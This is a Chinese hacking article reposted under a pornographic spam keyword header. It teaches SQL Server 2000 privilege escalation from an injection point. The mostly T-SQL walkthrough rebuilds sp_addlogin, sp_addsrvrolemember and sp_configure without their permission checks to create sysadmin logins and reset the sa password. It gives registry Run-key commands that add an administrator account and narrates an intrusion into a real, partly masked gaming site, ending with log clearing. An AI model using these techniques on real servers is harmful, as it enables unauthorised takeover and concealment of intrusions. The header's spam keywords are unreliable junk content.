人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動(dòng)態(tài)

一個(gè)注射點(diǎn),一個(gè)webshell甚至系統(tǒng)權(quán)限

發(fā)布日期:2021-12-27 04:27 | 文章來(lái)源:gibhub
————只要給我一個(gè)注射點(diǎn),無(wú)論什么權(quán)限,我都給你一個(gè)webshell甚至系統(tǒng)權(quán)限 聲明:本文僅用于教學(xué)目的,如果因?yàn)楸疚脑斐傻墓艉蠊救烁挪回?fù)責(zé)。因?yàn)? 發(fā)覺(jué)其危害過(guò)大,原文已經(jīng)經(jīng)過(guò)大量刪減及修改,即使這樣本文的危害性仍然很 大,所以請(qǐng)大家不要對(duì)國(guó)內(nèi)的站點(diǎn)做任何具有破壞性的操作。
考慮再三,偶還是決定發(fā)出來(lái)。此招手段歹毒,利用范圍廣泛,可以說(shuō)是只要是 有sql注射漏洞的網(wǎng)站,只要運(yùn)用此法99%可以拿到webshell甚至系統(tǒng)權(quán)限(不敢 把話(huà)說(shuō)滿(mǎn),呵呵,經(jīng)本人數(shù)百次真實(shí)"實(shí)戰(zhàn)演習(xí)",基本上是100%可以拿到 webshell甚至系統(tǒng)權(quán)限)。
記得我在《MSSQL db_owner角色注入直接獲得系統(tǒng)權(quán)限(續(xù))》中寫(xiě)過(guò)一種 利用xp_regwrite來(lái)取得系統(tǒng)權(quán)限的方法:xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentvers ion\run’,’x wq1’,’REG_SZ’,’net user xwq xwq /add’
xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentvers ion\run’,’x wq2’,’REG_SZ’,’net localgroup administrators xwq /add’,只要讓網(wǎng)站所在 的服務(wù)器重起,就能得到系統(tǒng)權(quán)限。經(jīng)過(guò)本人的數(shù)百次的真實(shí)實(shí)驗(yàn),這種方法不 太實(shí)用,很容易引起網(wǎng)管的注意,再說(shuō)ddos也是違法的事(偶可是好人?。?,發(fā) 動(dòng)一場(chǎng)ddos要花費(fèi)的大量的人力,物力(看你的肉雞多少拉)。所以不太可行( 除非是你十分想要搞定的網(wǎng)站)。 呵呵,哆嗦拉那么多,你可能看的已經(jīng)不耐煩拉,好,這就介紹我的三大 必殺技之一————萬(wàn)能提權(quán)。 假如一個(gè)網(wǎng)站存在sql注射漏洞,如果這個(gè)網(wǎng)站是用固定服務(wù)器sysadmin權(quán) 限的用戶(hù)作的連接(呵呵,通俗點(diǎn)說(shuō)就是sa,菜鳥(niǎo)可以這樣認(rèn)為),呵呵,想要拿 到一個(gè)webshell或者是系統(tǒng)權(quán)限可以說(shuō)是易如反掌,輕而易舉的事,據(jù)我所知, sysadmin權(quán)限要拿到webshell或者系統(tǒng)權(quán)限不下10種,呵呵,可能更多吧(偶只 會(huì)10種),sysadmin怎么拿到webshell或者系統(tǒng)權(quán)限,我不想多說(shuō),想比大家都 已經(jīng)爛熟于心拉,可是要是一個(gè)網(wǎng)站是db_owner權(quán)限呢?你怎么辦,你怎么拿系 統(tǒng)權(quán)限,怎么拿webshell(沒(méi)有上傳漏洞和數(shù)據(jù)庫(kù)備份等功能),大家可能回說(shuō) backup a shell,我記得LCX也在《MSSQL db_owner角色注入直接獲得系統(tǒng)權(quán)限》 里說(shuō)過(guò)拉"備份得到的shell只是理論化的東東,如果一個(gè)webshell有20mb的話(huà), 你還能用它嗎?"呵呵,要是我告訴你db_owner拿到一個(gè)webshell或者是系統(tǒng)權(quán) 限的方法和sysadmin權(quán)限的一樣多,你回有什么反映,是不是覺(jué)得有點(diǎn)不可思議 ,或者又是我胡說(shuō)呢?(不相信的朋友,下面的內(nèi)容就不要看拉) 呵呵,是不是看的心癢癢拉,迫不及待的想知道啊,好,我不在廢話(huà)拉,這 就把我的三大必殺技之一————萬(wàn)能提升權(quán)限方法告訴大家。 在告訴大家之前,我們先做個(gè)實(shí)驗(yàn) 實(shí)驗(yàn)環(huán)境windowsxp sp1 SQL 2000 sp3,大家跟著我來(lái)step to step,首先新 建一個(gè)具有db_owner的權(quán)限的用戶(hù),這里我是xwq(就是在服務(wù)器角色里面什么都 不要選,在數(shù)據(jù)庫(kù)角色里面鉤上db_owner),好,現(xiàn)在我們打開(kāi)查詢(xún)分析器用xwq 連上后再里面輸入sp_addlogin xuwenqiang,執(zhí)行看看,出現(xiàn)拉什么?
服務(wù)器: 消息 2571,級(jí)別 14,狀態(tài) 2,過(guò)程 sp_addlogin,行 16
用戶(hù) ’xwq’ 沒(méi)有運(yùn)行 DBCC auditevent 的權(quán)限。 服務(wù)器: 消息 15247,級(jí)別 16,狀態(tài) 1,過(guò)程 sp_addlogin,行 17
用戶(hù)沒(méi)有執(zhí)行此操作的權(quán)限。
呵呵,出現(xiàn)上面的錯(cuò)誤信息這很正常,因?yàn)橹挥衧ysadmin 和 securityadmin 固 定服務(wù)器角色的成員才可以執(zhí)行 sp_addlogin,那么怎么才好讓sp_addlogin為我 所用呢?我們?cè)谶@里看一下sp_addlogin的代碼:
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call -- CHECK PERMISSIONS --
IF (not is_srvrolemember(’securityadmin’) = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end -- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end -- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex(’\’, @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end --Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (’public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end -- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname = @loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end -- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end -- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default language if @deflanguage is null
select @deflanguage = N’us_english’
end -- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end -- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus | 0x800, -- old-style encryption
@passwd = convert(sysname, convert(varbinary (30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> ’skip_encryption’
begin
raiserror(15600,-1,-1,’sp_addlogin’)
return 1
end -- ATTEMPT THE Insert OF THE NEW LOGIN --
Insert INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1) -- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE --
exec(’use master grant all to null’) -- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin GO 之所以只有 sysadmin 和 securityadmin 固定服務(wù)器角色的成員才可以執(zhí)行 sp_addlogin,主要是這里一段再搞鬼
-- CHECK PERMISSIONS --
IF (not is_srvrolemember(’securityadmin’) = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
只要我們把這段代碼刪拉,任何權(quán)限的用戶(hù)都可以增加用戶(hù)拉。
好,我們先把sp_addlogin刪拉 drop procedure sp_addlogin
然后再來(lái)恢復(fù)sp_addlogin
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call -- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end -- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex(’\’, @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end --Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (’public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end -- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname = @loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end -- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end -- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default language if @deflanguage is null
select @deflanguage = N’us_english’
end -- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end -- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus | 0x800, -- old-style encryption
@passwd = convert(sysname, convert(varbinary (30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> ’skip_encryption’
begin
raiserror(15600,-1,-1,’sp_addlogin’)
return 1
end -- ATTEMPT THE Insert OF THE NEW LOGIN --
Insert INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1) -- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE --
exec(’use master grant all to null’) -- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin GO
這樣我這個(gè)只具有db_owner權(quán)限的xwq就可以任意增加用戶(hù)拉,ok,在查詢(xún)分析器 里面在輸入sp_addlogin xuwenqiang,執(zhí)行看看,GOOD!返回已創(chuàng)建新登錄。
我新建拉一個(gè)用戶(hù)xuwenqiang,當(dāng)然這個(gè)用戶(hù)我可不是白建的,我要把他變成具 有最高權(quán)限的用戶(hù),在sql中具有最高權(quán)限的當(dāng)然是sysadmin拉,而把一個(gè)用戶(hù)變 成sysadmin只有sp_addsrvrolemember這個(gè)存儲(chǔ)過(guò)程拉,可是只有sysadmin權(quán)限的 用戶(hù)才好使用,不爽,偶要讓他為我所用,呵呵,聰明的讀者一定想到拉我怎么 讓只具有db_owner權(quán)限的我,怎么使用sp_addsrvrolemember拉,沒(méi)錯(cuò),和讓 sp_addlogin為我所用的方法一樣,只要去掉sp_addsrvrolemember中權(quán)限限制的 一段,我們就可以任意增加sysadmin拉,我們先看看sp_addsrvrolemember的代碼 :create procedure sp_addsrvrolemember
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,
@ismem int -- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addsrvrolemember’)
return (1)
end -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename, NULL)
raiserror(15402, -1, -1, @rolename)
return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename, NULL)
raiserror(15247,-1,-1)
return (1)
end -- AUDIT A SUCCESSFUL SECURITY CHECK --
dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL) -- CANNOT CHANGE SA ROLES --
if @loginame = ’sa’
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end -- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN ’sysadmin’ THEN 16
WHEN ’securityadmin’ THEN 32
WHEN ’serveradmin’ THEN 64
WHEN ’setupadmin’ THEN 128
WHEN ’processadmin’ THEN 256
WHEN ’diskadmin’ THEN 512
WHEN ’dbcreator’ THEN 1024
WHEN ’bulkadmin’ THEN 4096
ELSE NULL END -- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where loginname = @loginame)
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret <> 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
end -- Update ROLE MEMBERSHIP --
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit, xdate2 = getdate()
where name = @loginame and srvid IS NULL -- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE --
exec(’use master grant all to null’) raiserror(15488,-1,-1,@loginame,@rolename) -- FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) -- sp_addsrvrolemember GO
把這一段刪除 -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename, NULL)
raiserror(15402, -1, -1, @rolename)
return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename, NULL)
raiserror(15247,-1,-1)
return (1)
end
這樣我們就可以任意增加sysadmin拉,呵呵,爽啊。在查詢(xún)分析器里輸入
sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到這里我們就 成功利用拉一個(gè)只具有db_owner權(quán)限的用戶(hù)新建拉一個(gè)在SQL中具有至高無(wú)上權(quán)限 ,也就是具有sysadmin權(quán)限的用戶(hù)xuwenqiang,有拉sysadmin權(quán)限想要webshell或 者系統(tǒng)權(quán)限還不容易么!不要只把眼睛只放在我所說(shuō)的sp_addlogin和
sp_addsrvrolemember這兩個(gè)存儲(chǔ)過(guò)程上,凡是只有sysadmin才好使用的存儲(chǔ)過(guò)程 ,利用我的萬(wàn)能提權(quán)必殺技,我們都可以使用。比如:sp- configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很 多只好sysadmin權(quán)限能利用的,我們都可以讓他們?yōu)槲宜谩? 下面再舉一個(gè)萬(wàn)能提權(quán)的例子 和我一起打造一個(gè)永遠(yuǎn)不會(huì)被殺及完美的后門(mén) 我們都知道在sql中有個(gè)被黑客稱(chēng)為后門(mén)的用戶(hù),那就是sa,sa 是內(nèi)置的管理員 登錄,而且不能進(jìn)行更改和刪除。呵呵,這是M$說(shuō)的,要是你看過(guò)我寫(xiě)的另外一 篇文章《完全刪除sa這個(gè)后門(mén)》就知道,其實(shí)sa也是好刪除的。我們知道在sql可 以改密碼的存儲(chǔ)過(guò)程有sp_password,可是我們必須知道要改的用戶(hù)的舊密碼,才 可以更改,那么有沒(méi)有辦法再不知道舊密碼的情況下更改sa的密碼呢?有,其實(shí) 也就是利用sp_configure,sp_configure的功能是顯示或更改當(dāng)前服務(wù)器的全局配 置設(shè)置。sp_configure(用于更改配置選項(xiàng))的執(zhí)行許可權(quán)限默認(rèn)授?sysadmin 和 serveradmin 固定服務(wù)器角色。這很容易只要把sp_configure中檢查權(quán)限的一 段刪除,再重建,我們就好用拉。
Create PROCEDURE sp_configure --- 1996/08/14 09:43 @configname varchar(35) = NULL -- option name to configure
,@configvalue int = NULL -- new configuration value
as set nocount on declare
@confignum int --Num of the opt to be configured
,@configcount int --Num of options like @configname
,@show_advance int --Y/N Read&Write actions on "advanced" opts declare @fullconfigname varchar (35)
declare @prevvalue int
/*
** Determine @maxnumber based on advance option in syscurconfigs.
*/
if (select value from master.dbo.syscurconfigs where config = 518) = 1
select @show_advance = 1 -- Display advanced options
else
select @show_advance = 0 -- Don’’t display advanced options /*
** Make certain that max user info. reflects any addpak upgrades.
*/
if (select high from master.dbo.spt_values where number=103 and type=’’C’’)
<> @@max_connections update master.dbo.spt_values
set high = @@max_connections
where number = 103
and type=’’C’’ /*
** If no option name is given, the procedure will just print out all the
** options and their values.
*/
if @configname is NULL
begin
select name, minimum = low, maximum = high,
config_value = c.value,
run_value = master.dbo.syscurconfigs.value
from master.dbo.spt_values, master.dbo.sysconfigures c, master.dbo.syscurconfigs
where type = ’’C’’
and number = c.config
and number = master.dbo.syscurconfigs.config and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)
order by lower(name) return (0)
end /*
** Use @configname and try to find the right option.
** If there isn’’t just one, print appropriate diagnostics and return.
*/
select @configcount = count(*), @fullconfigname = min (v.name), @prevvalue = min (c.value)
from master.dbo.spt_values v ,master.dbo.sysconfigures c
where v.name like ’’%’’@configname’’%’’ and v.type = ’’C’’
and v.number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
) /*
** If no option, show the user what the options are.
*/
if @configcount = 0
begin
raiserror (15123,-1,-1,@configname) print ’’ ’’
raiserror (15456,-1,-1) /*
** Show the user what the options are.
*/
select name, minimum = low, maximum = high,
config_value = c.value,
run_value = master.dbo.syscurconfigs.value
from master.dbo.spt_values, master.dbo.sysconfigures c, master.dbo.syscurconfigs
where type = ’’C’’
and number = c.config
and number = master.dbo.syscurconfigs.config and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
) return (1)
end /*
** If more than one option like @configname, show the duplicates and return.
*/
if @configcount > 1
begin
raiserror (15124,-1,-1,@configname)
print ’’ ’’ select duplicate_options = name
from master.dbo.spt_values,master.dbo.sysconfigures c
where name like ’’%’’@configname’’%’’
and type = ’’C’’
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
) return (1)
end
else
/* There must be exactly one, so get the full name. */
select @configname = name --,@value_in_sysconfigures = c.value
from master.dbo.spt_values,master.dbo.sysconfigures c
where name like ’’%’’@configname’’%’’ and type = ’’C’’
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
) /*
** If @configvalue is NULL, just show the current state of the option.
*/
if @configvalue is null
begin select v.name
,v.low as ’’minimum’’
,v.high as ’’maximum’’
,c.value as ’’config_value’’
,u.value as ’’run_value’’
from
master.dbo.spt_values v left outer join
master.dbo.sysconfigures c on v.number = c.config
left outer join
master.dbo.syscurconfigs u on v.number = u.config
where
v.type = ’’C ’’
and v.name like ’’%’’@configname’’%’’
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
) return (0)
end /*
** Now get the configuration number.
*/
select @confignum = number
from master.dbo.spt_values,master.dbo.sysconfigures c
where type = ’’C’’
and (@configvalue between low and high or @configvalue = 0)
and name like ’’%’’@configname’’%’’
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
) /*
** If this is the number of default language, we want to make sure
** that the new value is a valid language id in Syslanguages.
*/
if @confignum = 124
begin
if not exists (select * from master.dbo.syslanguages
where langid = @configvalue)
begin
/* 0 is default language, us_english */
if @configvalue <> 0
begin
raiserror(15127,-1,-1)
return (1)
end
end
end /*
** If this is the number of kernel language, we want to make sure
** that the new value is a valid language id in Syslanguages.
*/
if @confignum = 132
begin
if not exists (select * from master.dbo.syslanguages
where langid = @configvalue)
begin
/* 0 is default language, us_english */
if @configvalue <> 0
begin
raiserror(15028,-1,-1)
return (1)
end
end
end /*
** "user options" should not try to set incompatible options/values.
*/
if @confignum = 1534 --"user options"
begin if (@configvalue & (1024 2048) = (1024 2048)) -- ansi_null_default_on/off
begin
raiserror(15303,-1,-1,@configvalue)
return (1)
end
end /*
** Although the @configname is good, @configvalue wasn’’t in range.
*/
if @confignum is NULL
begin
raiserror(15129,-1,-1,@configvalue,@configname)
return (1)
end --Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount) #12828. /*
** Now update sysconfigures.
*/
update master.dbo.sysconfigures set value = @configvalue
where config = @confignum /*
** Flush the procedure cache - this is to account for options which become
** effective immediately (ie. dont need a server restart).
*/
dbcc freeproccache raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with log return (0) -- sp_configure GO
ok,我們?cè)?
sp_configure ’’allow updates’’,1
go
RECONFIGURE WITH OVERRIDE
go 好拉這樣我們才好更改sa的密碼。接著update sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50C BB30267F53B9451B7189CA67AF19A1FC where sid=0x01,這樣sa的密碼就被我們改 成拉111111拉。呵呵,解決的方法就是把sa給刪拉。,怎么刪可以參考我的《完 全刪除sa這個(gè)后門(mén)》。
實(shí)例:
下面對(duì)一個(gè)國(guó)內(nèi)非常出名的站點(diǎn)進(jìn)行善意的攻擊測(cè)試,來(lái)對(duì)上面的知識(shí)進(jìn)行 一次大概的驗(yàn)證,出于影響等諸多因素,我們稱(chēng)這個(gè)站點(diǎn)為www.**173.com。 www.**173.com這個(gè)站點(diǎn)在游戲上很有名氣,排名在前20名(我當(dāng)時(shí)測(cè)試的時(shí)候) ,在這里我不想說(shuō)我怎么找到的注射點(diǎn),大家還可以找找,還是滿(mǎn)多的(整個(gè)測(cè) 試可真花費(fèi)拉我不少時(shí)間,別誤會(huì),我不是說(shuō)時(shí)間花在"檢測(cè)"上,而是都放在 寫(xiě)程序里面拉,不寫(xiě)個(gè)像樣點(diǎn)的程序,怎么讓我為所欲為呢?整個(gè)攻擊只有10分 鐘不到)。
在找到的注射點(diǎn)gametype=**(郁悶,要是當(dāng)時(shí)測(cè)試的時(shí)候有nbsi2,偶可能 要輕松不少),先輸入drop procedure sp_addlogin,然后在IE里面輸入(呵呵, 我當(dāng)然是在我寫(xiě)的程序里面輸入拉)
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = ’’master’’ -- UNDONE: DEFAULT CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call -- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’’sp_addlogin’’)
return (1)
end -- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex(’’\’’, @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end --Note: different case sa is allowed.
if (@loginame = ’’sa’’ or lower(@loginame) in (’’public’’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end -- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname = @loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end -- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end -- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default language if @deflanguage is null
select @deflanguage = N’’us_english’’
end -- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end -- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’’skip_encryption_old’’
begin
select @xstatus = @xstatus | 0x800, -- old-style encryption
@passwd = convert(sysname, convert(varbinary (30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> ’’skip_encryption’’
begin
raiserror(15600,-1,-1,’’sp_addlogin’’)
return 1
end -- ATTEMPT THE Insert OF THE NEW LOGIN --
Insert INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1) -- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE --
exec(’’use master grant all to null’’) -- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin GO OK,我們新建個(gè)用戶(hù)exec master..sp_addlogin xwq
再drop procedure sp_addsrvrolemember,然后在IE里輸入
create procedure sp_addsrvrolemember
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,
@ismem int -- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’’sp_addsrvrolemember’’)
return (1)
end
-- CANNOT CHANGE SA ROLES --
if @loginame = ’’sa’’
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end -- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN ’’sysadmin’’ THEN 16
WHEN ’’securityadmin’’ THEN 32
WHEN ’’serveradmin’’ THEN 64
WHEN ’’setupadmin’’ THEN 128
WHEN ’’processadmin’’ THEN 256
WHEN ’’diskadmin’’ THEN 512
WHEN ’’dbcreator’’ THEN 1024
WHEN ’’bulkadmin’’ THEN 4096
ELSE NULL END -- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where loginname = @loginame)
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret <> 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
end -- Update ROLE MEMBERSHIP --
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit, xdate2 = getdate()
where name = @loginame and srvid IS NULL -- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE --
exec(’’use master grant all to null’’) raiserror(15488,-1,-1,@loginame,@rolename) -- FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) -- sp_addsrvrolemember GO
接著再exec master..sp_addsrvrolemember xwq,sysadmin
我們拿sql綜合利用工具或者查詢(xún)分析器連上看看,呵呵,成功拉,這樣我們就在 www.**17173.com的服務(wù)器上建拉一個(gè)具有最高權(quán)限的用戶(hù)xwq拉,下面的事我想 大家都應(yīng)該回做拉吧。呵呵,因?yàn)橹皇前踩珳y(cè)試,我并沒(méi)有深入下去,刪拉帳號(hào) ,清除日志,閃人。
看到拉吧,我的必殺技之一——萬(wàn)能提權(quán)的威力拉吧,只要是給我一個(gè)注射點(diǎn), 無(wú)論什么權(quán)限,我都會(huì)給你一個(gè)webshell甚至系統(tǒng)權(quán)限.呵呵,其實(shí)說(shuō)萬(wàn)能的提升 權(quán)限方法的確是有點(diǎn)夸張拉,因?yàn)镃reate PROCEDURE 的權(quán)限默認(rèn)授予 sysadmin 固定服務(wù)器角色成員和 db_owner 和 db_ddladmin 固定數(shù)據(jù)庫(kù)角色成員,你要是 碰到Public的權(quán)限,那就不好使用拉。 不過(guò)不要以為換成public權(quán)限,就沒(méi)有辦法拿到webshell或者系統(tǒng)權(quán)限拉,恰恰相 反,據(jù)我所知public權(quán)限的用戶(hù)拿到webshell甚至系統(tǒng)權(quán)限的方法至少也有5種。 最好的防范方法就是杜絕注射漏洞,這才是治標(biāo)又治本的解決方法。(呵呵,要 是我說(shuō),最好連public的權(quán)限都不要給,可惜已經(jīng)沒(méi)有比public權(quán)限更低的角色 拉,沒(méi)辦法誰(shuí)叫public也可以利用很多有危險(xiǎn)的存儲(chǔ)過(guò)程呢,而且public無(wú)法除 去,看來(lái)M$對(duì)我們這些"壞人"還是很厚愛(ài)的哦)

